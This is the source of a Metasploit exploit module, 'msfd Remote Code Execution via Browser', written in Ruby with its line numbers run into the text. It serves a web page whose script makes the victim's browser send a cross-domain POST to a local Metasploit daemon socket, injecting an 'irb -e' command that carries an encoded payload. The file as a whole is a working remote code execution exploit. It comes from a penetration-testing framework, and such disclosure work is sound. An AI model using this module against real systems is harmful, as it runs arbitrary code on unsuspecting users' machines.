Path: blob/master/modules/exploits/multi/browser/msfd_rce_browser.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::HttpServer::HTML89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Metasploit msfd Remote Code Execution via Browser',14'Description' => %q{15Metasploit's msfd-service makes it possible to get a msfconsole-like16interface over a TCP socket. This module connects to the msfd-socket17through the victim's browser.1819To execute msfconsole-commands in JavaScript from a web application,20this module places the payload in the POST-data. These POST-requests21can be sent cross-domain and can therefore be sent to localhost on the22victim's machine. The msfconsole-command to execute code is 'rbi -e23"CODE"'.2425Exploitation when the browser is running on Windows is unreliable and26the exploit is only usable when IE is used and the quiet-flag has been27passed to msf-daemon.28},29'License' => BSD_LICENSE,30'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>',31'Platform' => 'ruby',32'Arch' => ARCH_RUBY,33'Targets' => [34[ 'Automatic', {}],35],36'Payload' => {37'Space' => 8192, # Arbitrary limit38'DisableNops' => true,39'BadChars' => "\x22\x0a"40},41'DisclosureDate' => '2018-04-11', # Vendor notification42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([52OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']),53OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])54])55end5657def exploit58super59end6061def on_request_uri(cli, request)62msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"63sc = payload.encoded64shellcode = "\\x" + sc.unpack('U' * sc.length).collect { |x| x.to_s 16 }.join("\\x")65var1 = rand_text_alpha(rand(6..11))66var2 = rand_text_alpha(rand(6..11))67html = <<~EOS68<html>69<head></head>70<body>71<script>72var #{var1} = new XMLHttpRequest();73#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);74var #{var2} = String("#{shellcode}");75#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");76</script>77</body>78</html>79EOS80print_status("#{msg} Sending HTML...")81send_response(cli, html, { 'Content-Type' => 'text/html' })82end83end848586